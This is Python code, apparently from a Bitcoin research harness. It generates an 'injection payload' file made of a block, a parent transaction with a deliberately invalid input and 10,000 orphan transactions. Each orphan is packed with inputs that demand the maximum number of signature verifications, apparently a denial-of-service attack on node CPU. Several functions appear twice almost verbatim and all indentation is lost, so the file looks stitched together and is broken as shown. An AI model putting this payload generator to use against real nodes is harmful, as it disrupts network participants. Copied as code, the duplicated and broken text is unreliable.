def block_with_spend():
# Get a first transaction that spends 2nd coinbase to a single output
tx1,txin = spend_second_coinbase()
# Create a second transaction that is all fees
tx2 = Transaction()
tx2.vin.append(txin)
txout,_ = txpair_from_pubkey(nValue=1e8)
tx2.append_txout(txout)
tx2.finalize()
block = make_block()
block.vtx.append(tx1._ctx)
block.hashMerkleRoot = block.calc_merkle_root()
return block, tx2
def spend_second_coinbase():
# Create a transaction that spends the second coinbase
txin_second = get_txin_second()
tx = Transaction()
tx.vin = [txin_second]
#txout, txin = txpair_from_pubkey()
txout, txin = txpair_from_p2sh()
tx.append_txout(txout)
tx.finalize()
return tx, txin
def spend_second_coinbase():
# Create a transaction that spends the second coinbase
txin_second = get_txin_second()
tx = Transaction()
tx.vin = [txin_second]
#txout, txin = txpair_from_pubkey()
txout, txin = txpair_from_p2sh()
tx.append_txout(txout)
tx.finalize()
return tx, txin
def block_with_spend():
# Get a first transaction that spends 2nd coinbase to a single output
tx1, txin = spend_second_coinbase()
# Create a second transaction that is all fees
tx2 = Transaction()
tx2.vin.append(txin)
txout, _ = txpair_from_pubkey(nValue=1e8)
tx2.append_txout(txout)
tx2.finalize()
block = make_block()
block.vtx.append(tx1._ctx)
block.hashMerkleRoot = block.calc_merkle_root()
return block, tx2
def make_experiment1(path='./experiment1_payload.dat'):
"""
Creates the injection payload for an experiment.
This experiment includes a block and a large number of orphans.
The main payload are transactions that
- contain the maximum size (100kb)
- all of the inputs contain the maximum number of ecdsa verifications
1. Create enough txouts
"""
# block, tx2 = block_with_spend()
# with open(path,'wb') as f:
# m = msg_block()
# m.block = block
# f.write(m.serialize())
# m = msg_tx()
# m.tx = tx2._ctx
# f.write(m.serialize())
# Chosen so that the size of the payload transactions is within 5kb
n_inputs = 13
# 1. Create a setup transaction with enough inputs for each payload (+2 boosters)
tx_setup = Transaction()
tx_setup.vin = [get_txin_second()]
tx_setup_ins = []
for i in range(n_inputs+2):
_out,_in = txpair_from_p2sh(nValue=0.01*COIN)
tx_setup.append_txout(_out)
tx_setup_ins.append(_in)
tx_setup.finalize()
# # 1a. Add tx_setup to a block
block = make_block()
block.vtx.append(tx_setup._ctx)
block.hashMerkleRoot = block.calc_merkle_root()
# 2. Create a "parent" transaction with one output
print 'Step 2.'
tx_parent = Transaction()
tx_parent.vin = [tx_setup_ins[-2]]
# This input will be the only invalid one
_tx_parent_out,tx_parent_in = txpair_from_p2sh_dos(nValue=0.01*COIN)
tx_parent.append_txout(_tx_parent_out)
tx_parent.finalize()
# 3. Create "orphan" payloads
print 'Step 3.'
tx_orphans = []
for i in range(10000):
# Create several bad transactions
tx = Transaction()
tx.vin = tx_setup_ins[:n_inputs-1] + [tx_parent_in]
txout,_ = txpair_from_p2sh(nValue=0.001*COIN)
tx.append_txout(txout)
tx.finalize()
tx_orphans.append(tx)
assert len(tx._ctx.serialize()) <= 5000
with open(path,'wb') as f:
m = msg_block()
m.block = block
f.write(m.serialize())
for tx in tx_orphans + [tx_parent]:
m = msg_tx()
m.tx = tx._ctx
f.write(m.serialize())
def spend_p2sh():
# First transaction: spends 2nd coinbase, creates a p2sh output
txin_second = get_txin_second()
tx1 = Transaction()
tx1.vin = [txin_second]
tx1out, tx2in = txpair_from_p2sh()
tx1.append_txout(tx1out)
tx1.finalize()
# Second transaction: spends tx1's output, creates a pubkey output
tx2 = Transaction()
tx2.vin = [tx2in]
tx2out, _ = txpair_from_pubkey(nValue=1*COIN)
tx2.append_txout(tx2out)
tx2.finalize()
return tx1,tx2
def make_experiment1(path='./experiment1_payload.dat'):
"""
Creates the injection payload for an experiment.
This experiment includes a block and a large number of orphans.
The main payload are transactions that
- contain the maximum size (100kb)
- all of the inputs contain the maximum number of ecdsa verifications
1. Create enough txouts
"""
# block, tx2 = block_with_spend()
# with open(path,'wb') as f:
# m = msg_block()
# m.block = block
# f.write(m.serialize())
# m = msg_tx()
# m.tx = tx2._ctx
# f.write(m.serialize())
# Chosen so that the size of the payload transactions is within 5kb
n_inputs = 13
# 1. Create a setup transaction with enough inputs for each payload (+2 boosters)
tx_setup = Transaction()
tx_setup.vin = [get_txin_second()]
tx_setup_ins = []
for i in range(n_inputs + 2):
_out, _in = txpair_from_p2sh(nValue=0.01 * COIN)
tx_setup.append_txout(_out)
tx_setup_ins.append(_in)
tx_setup.finalize()
# # 1a. Add tx_setup to a block
block = make_block()
block.vtx.append(tx_setup._ctx)
block.hashMerkleRoot = block.calc_merkle_root()
# 2. Create a "parent" transaction with one output
print 'Step 2.'
tx_parent = Transaction()
tx_parent.vin = [tx_setup_ins[-2]]
# This input will be the only invalid one
_tx_parent_out, tx_parent_in = txpair_from_p2sh_dos(nValue=0.01 * COIN)
tx_parent.append_txout(_tx_parent_out)
tx_parent.finalize()
# 3. Create "orphan" payloads
print 'Step 3.'
tx_orphans = []
for i in range(10000):
# Create several bad transactions
tx = Transaction()
tx.vin = tx_setup_ins[:n_inputs - 1] + [tx_parent_in]
txout, _ = txpair_from_p2sh(nValue=0.001 * COIN)
tx.append_txout(txout)
tx.finalize()
tx_orphans.append(tx)
assert len(tx._ctx.serialize()) <= 5000
with open(path, 'wb') as f:
m = msg_block()
m.block = block
f.write(m.serialize())
for tx in tx_orphans + [tx_parent]:
m = msg_tx()
m.tx = tx._ctx
f.write(m.serialize())
def spend_p2sh():
# First transaction: spends 2nd coinbase, creates a p2sh output
txin_second = get_txin_second()
tx1 = Transaction()
tx1.vin = [txin_second]
tx1out, tx2in = txpair_from_p2sh()
tx1.append_txout(tx1out)
tx1.finalize()
# Second transaction: spends tx1's output, creates a pubkey output
tx2 = Transaction()
tx2.vin = [tx2in]
tx2out, _ = txpair_from_pubkey(nValue=1 * COIN)
tx2.append_txout(tx2out)
tx2.finalize()
return tx1, tx2
